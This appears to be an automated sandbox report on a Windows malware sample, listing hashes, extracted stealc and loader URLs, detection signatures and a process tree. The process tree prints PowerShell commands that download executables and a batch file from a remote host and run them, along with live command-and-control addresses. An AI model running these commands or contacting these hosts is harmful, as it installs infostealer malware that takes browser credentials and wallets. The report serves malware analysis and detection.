Analysis
-
max time kernel
298s -
max time network
299s -
platform
windows10-1703_x64 -
resource
win10-20240404-en -
resource tags
arch:x64arch:x86image:win10-20240404-enlocale:en-usos:windows10-1703-x64system -
submitted
09-05-2024 22:50
Static task
static1
Behavioral task
behavioral1
Sample
3b73d0b40752af41cdaa397c87f039167f0a1c9ff8ea6623fc8a8cb4ca787ca7.exe
Resource
win7-20240221-en
General
-
Target
3b73d0b40752af41cdaa397c87f039167f0a1c9ff8ea6623fc8a8cb4ca787ca7.exe
-
Size
49KB
-
MD5
213c0265511727869c959abd24ea3677
-
SHA1
22ea6fe23eeb57d0048d1b0e2a826dd66c6969d9
-
SHA256
3b73d0b40752af41cdaa397c87f039167f0a1c9ff8ea6623fc8a8cb4ca787ca7
-
SHA512
bfa4d229ade2e47d91f3fb761e68f727aab86980a2697cb06955324e9b61b384569a285edfaa1d1dd7aea95e24d171a770a4f573a19ec795325c68250720f41e
-
SSDEEP
1536:XferrLkSRoe8C4UZsys0Dh1duFpxFI+PlZ:Xfi3k+oWDBDh1duFpkWlZ
Malware Config
Extracted
https://d2iv78ooxaijb6.cloudfront.net/load/th.php?a=2836&c=1000
Extracted
https://d2iv78ooxaijb6.cloudfront.net/load/dl.php?id=425&c=1000
Extracted
https://d2iv78ooxaijb6.cloudfront.net/load/dl.php?id=444&c=1000
Extracted
stealc
http://185.172.128.150
-
url_path
/c698e1bc8a2f5e6d.php
Signatures
-
Detect ZGRat V1 3 IoCs
resource yara_rule behavioral2/memory/3460-212-0x0000021C15320000-0x0000021C18B54000-memory.dmp family_zgrat_v1 behavioral2/memory/3460-213-0x0000021C33400000-0x0000021C3350A000-memory.dmp family_zgrat_v1 behavioral2/memory/3460-217-0x0000021C331C0000-0x0000021C331E4000-memory.dmp family_zgrat_v1 -
Blocklisted process makes network request 5 IoCs
flow pid Process 16 1236 powershell.exe 18 984 powershell.exe 19 984 powershell.exe 21 4616 powershell.exe 23 4616 powershell.exe -
Downloads MZ/PE file
-
Executes dropped EXE 3 IoCs
pid Process 424 i1.exe 2636 ubs.0.exe 5052 ubs.1.exe -
Loads dropped DLL 3 IoCs
pid Process 2280 3b73d0b40752af41cdaa397c87f039167f0a1c9ff8ea6623fc8a8cb4ca787ca7.exe 2636 ubs.0.exe 2636 ubs.0.exe -
Reads data files stored by FTP clients 2 TTPs
Tries to access configuration files associated with programs like FileZilla.
-
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
-
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
-
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
-
pid Process 4616 powershell.exe 1236 powershell.exe 984 powershell.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Checks SCSI registry key(s) 3 TTPs 3 IoCs
SCSI information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI ubs.1.exe Key queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI ubs.1.exe Key enumerated \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI ubs.1.exe -
Checks processor information in registry 2 TTPs 2 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 ubs.0.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString ubs.0.exe -
Suspicious behavior: EnumeratesProcesses 28 IoCs
pid Process 1236 powershell.exe 1236 powershell.exe 1236 powershell.exe 984 powershell.exe 984 powershell.exe 984 powershell.exe 4616 powershell.exe 4616 powershell.exe 4616 powershell.exe 2636 ubs.0.exe 2636 ubs.0.exe 3460 SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe 3460 SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe 3460 SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe 3460 SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe 3460 SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe 3460 SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe 3460 SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe 3460 SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe 3460 SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe 3460 SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe 3460 SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe 3460 SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe 3460 SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe 3460 SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe 3460 SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe 3460 SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe 3460 SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe -
Suspicious use of AdjustPrivilegeToken 4 IoCs
description pid Process Token: SeDebugPrivilege 1236 powershell.exe Token: SeDebugPrivilege 984 powershell.exe Token: SeDebugPrivilege 4616 powershell.exe Token: SeDebugPrivilege 3460 SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe -
Suspicious use of FindShellTrayWindow 7 IoCs
pid Process 5052 ubs.1.exe 5052 ubs.1.exe 5052 ubs.1.exe 5052 ubs.1.exe 5052 ubs.1.exe 5052 ubs.1.exe 5052 ubs.1.exe -
Suspicious use of SendNotifyMessage 7 IoCs
pid Process 5052 ubs.1.exe 5052 ubs.1.exe 5052 ubs.1.exe 5052 ubs.1.exe 5052 ubs.1.exe 5052 ubs.1.exe 5052 ubs.1.exe -
Suspicious use of WriteProcessMemory 23 IoCs
description pid Process procid_target PID 2280 wrote to memory of 596 2280 3b73d0b40752af41cdaa397c87f039167f0a1c9ff8ea6623fc8a8cb4ca787ca7.exe 73 PID 2280 wrote to memory of 596 2280 3b73d0b40752af41cdaa397c87f039167f0a1c9ff8ea6623fc8a8cb4ca787ca7.exe 73 PID 2280 wrote to memory of 596 2280 3b73d0b40752af41cdaa397c87f039167f0a1c9ff8ea6623fc8a8cb4ca787ca7.exe 73 PID 596 wrote to memory of 1236 596 cmd.exe 75 PID 596 wrote to memory of 1236 596 cmd.exe 75 PID 596 wrote to memory of 1236 596 cmd.exe 75 PID 596 wrote to memory of 984 596 cmd.exe 76 PID 596 wrote to memory of 984 596 cmd.exe 76 PID 596 wrote to memory of 984 596 cmd.exe 76 PID 596 wrote to memory of 424 596 cmd.exe 77 PID 596 wrote to memory of 424 596 cmd.exe 77 PID 596 wrote to memory of 424 596 cmd.exe 77 PID 596 wrote to memory of 4616 596 cmd.exe 78 PID 596 wrote to memory of 4616 596 cmd.exe 78 PID 596 wrote to memory of 4616 596 cmd.exe 78 PID 424 wrote to memory of 2636 424 i1.exe 79 PID 424 wrote to memory of 2636 424 i1.exe 79 PID 424 wrote to memory of 2636 424 i1.exe 79 PID 424 wrote to memory of 5052 424 i1.exe 81 PID 424 wrote to memory of 5052 424 i1.exe 81 PID 424 wrote to memory of 5052 424 i1.exe 81 PID 5052 wrote to memory of 3460 5052 ubs.1.exe 83 PID 5052 wrote to memory of 3460 5052 ubs.1.exe 83
Processes
-
C:\Users\Admin\AppData\Local\Temp\3b73d0b40752af41cdaa397c87f039167f0a1c9ff8ea6623fc8a8cb4ca787ca7.exe"C:\Users\Admin\AppData\Local\Temp\3b73d0b40752af41cdaa397c87f039167f0a1c9ff8ea6623fc8a8cb4ca787ca7.exe"1⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:2280 -
C:\Windows\SysWOW64\cmd.exe"cmd" /c "C:\Users\Admin\AppData\Local\Temp\nsu781F.tmp\est.bat"2⤵
- Suspicious use of WriteProcessMemory
PID:596 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -Command "(New-Object Net.WebClient).DownloadFile('https://d2iv78ooxaijb6.cloudfront.net/load/th.php?a=2836&c=1000','stat')"3⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1236
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -Command "(New-Object Net.WebClient).DownloadFile('https://d2iv78ooxaijb6.cloudfront.net/load/dl.php?id=425&c=1000','i1.exe')"3⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:984
-
-
C:\Users\Admin\AppData\Local\Temp\i1.exei1.exe /SUB=2838 /str=one3⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:424 -
C:\Users\Admin\AppData\Local\Temp\ubs.0.exe"C:\Users\Admin\AppData\Local\Temp\ubs.0.exe"4⤵
- Executes dropped EXE
- Loads dropped DLL
- Checks processor information in registry
- Suspicious behavior: EnumeratesProcesses
PID:2636
-
-
C:\Users\Admin\AppData\Local\Temp\ubs.1.exe"C:\Users\Admin\AppData\Local\Temp\ubs.1.exe"4⤵
- Executes dropped EXE
- Checks SCSI registry key(s)
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:5052 -
C:\Users\Admin\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe"C:\Users\Admin\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe" /eieci=11A12794-499E-4FA0-A281-A9A9AA8B2685 /eipi=5488CB36-BE62-4606-B07B-2EE938868BD15⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3460
-
-
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -command "$cli = New-Object System.Net.WebClient;$cli.Headers['User-Agent'] = 'InnoDownloadPlugin/1.5';$cli.DownloadFile('https://d2iv78ooxaijb6.cloudfront.net/load/dl.php?id=444&c=1000', 'i2.bat')"3⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4616
-
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
11KB
MD5a33e5b189842c5867f46566bdbf7a095
SHA1e1c06359f6a76da90d19e8fd95e79c832edb3196
SHA2565abf8e3d1f78de7b09d7f6fb87f9e80e60caacf13ef3c1289665653dacd7c454
SHA512f2ad3812ec9b915e9618539b0f103f2e9acaad25fbbacd84941c954ce070af231324e83a4621e951c1dbae8d40d50410954e40dd52bbd46e34c54b0d1957407b
-
Filesize
593KB
MD5c8fd9be83bc728cc04beffafc2907fe9
SHA195ab9f701e0024cedfbd312bcfe4e726744c4f2e
SHA256ba06a6ee0b15f5be5c4e67782eec8b521e36c107a329093ec400fe0404eb196a
SHA512fbb446f4a27ef510e616caad52945d6c9cc1fd063812c41947e579ec2b54df57c6dc46237ded80fca5847f38cbe1747a6c66a13e2c8c19c664a72be35eb8b040
-
Filesize
1KB
MD566382a4ca6c4dcf75ce41417d44be93e
SHA18132cbef1c12f8a89a68a6153ade4286bf130812
SHA256a70acce0f4c6ab59b88ce79d84c38d4abffe19b72b033250499b17d788a2db56
SHA5122bf66f2850f4a65220085c55a5b3c8866453104d78fe516e5bd6e3e47df783062ce4ea10de580f2eb0274ac8c3ce71965201c49ef55a78f307731ccc8600aadc
-
Filesize
16KB
MD52c884245e61fb18521e35101b548cf6d
SHA1db0f122dc454660385341f2e40eb019c65d24809
SHA2565f19c282a99b2b4fbfed572ada786ba4e6679a986ba1e088d581faaf6e3d2c0e
SHA5120e4d1e76e29068fa9789149c90c03d2463190892fcaaff5e155ee8815161f45f6f7800ecef24ebc77d1de0861f6bcf19306be5f2bb09b8be2d9c813db76d62c8
-
Filesize
16KB
MD5364ea0d01417152aa82ea7d8b52697f0
SHA1962dc635844b598f895cf4ab7edee1d3e5cb4fd6
SHA256dd1e007e13ba90a7ece8846e4b2386f2d9d1c7c2fb5d3892b33c3c45de8a2ee5
SHA5121a3dfbd007d29f20f67bbedb0d387bcdc7014e6a189545af7ef791652f4a9a88e89d37f6cedf9c5919ab131dc5376a15c7273916d00efeb3e23c7d5cc3768399
-
Filesize
1B
MD5c4ca4238a0b923820dcc509a6f75849b
SHA1356a192b7913b04c54574d18c28d46e6395428ab
SHA2566b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b
SHA5124dff4ea340f0a823f15d3f4f01ab62eae0e5da579ccb851f8db9dfe84c58b2b37b89903a740e1ee172da793a6e79d560e5f7f9bd058a12a280433ed6fa46510a
-
Filesize
384KB
MD50f39626443b9a5ecbdac24c96e12728a
SHA104c402e550534f0871471f5b80fc5723f283f25c
SHA256fab860ca07692e3f3f2c438a9faf142288fdbcbb43edf24e8b3b88683a529477
SHA5129b74eea35b9ed7ea5e286ec29a676407f72a63c3d90c22616d73d0626a0cf656d9e1aaafd8c07021c38c8bf9cc75cd1a6b6ca4f7198f07c8794aad1d4bf618e6
-
Filesize
735B
MD5f32d05160acf8325e9a09f09f80d16f4
SHA146e159b71e6ef99076c4002e1fda134e1d0a86c9
SHA256da8f4f45b105538f0063ece220b69455b15c8e680099c02221c093ecb794ae37
SHA512147c870edd09fa3f6cd93caae809b5d66fecc759e3cfee4e47dc487786edc760989fdb23310b4284e63871fe1b1d805e949601f54bfc93ff80e2e097a989879b
-
Filesize
206KB
MD50917be53327ea132956255dcab650a82
SHA1b60818917f645a8a9af3b530e3ae37c1f002be2f
SHA256211c34660898480e0777c6ef6f61bf2111f6550e00b40cab859543d567dc455a
SHA512a72acc24ba813d983bbf2ecab7929d0aab4e25637ae43e85b973a5105429bd15c061415fd855737620caaf81b456b2d6ba57f85566245efbe5f8b5db5560932a
-
Filesize
4.6MB
MD5397926927bca55be4a77839b1c44de6e
SHA1e10f3434ef3021c399dbba047832f02b3c898dbd
SHA2564f07e1095cc915b2d46eb149d1c3be14f3f4b4bd2742517265947fd23bdca5a7
SHA512cf54136b977fc8af7e8746d78676d0d464362a8cfa2213e392487003b5034562ee802e6911760b98a847bddd36ad664f32d849af84d7e208d4648bd97a2fa954
-
Filesize
2.0MB
MD51cc453cdf74f31e4d913ff9c10acdde2
SHA16e85eae544d6e965f15fa5c39700fa7202f3aafe
SHA256ac5c92fe6c51cfa742e475215b83b3e11a4379820043263bf50d4068686c6fa5
SHA512dd9ff4e06b00dc831439bab11c10e9b2ae864ea6e780d3835ea7468818f35439f352ef137da111efcdf2bb6465f6ca486719451bf6cf32c6a4420a56b1d64571
-
Filesize
25KB
MD540d7eca32b2f4d29db98715dd45bfac5
SHA1124df3f617f562e46095776454e1c0c7bb791cc7
SHA25685e03805f90f72257dd41bfdaa186237218bbb0ec410ad3b6576a88ea11dccb9
SHA5125fd4f516ce23fb7e705e150d5c1c93fc7133694ba495fb73101674a528883a013a34ab258083aa7ce6072973b067a605158316a4c9159c1b4d765761f91c513d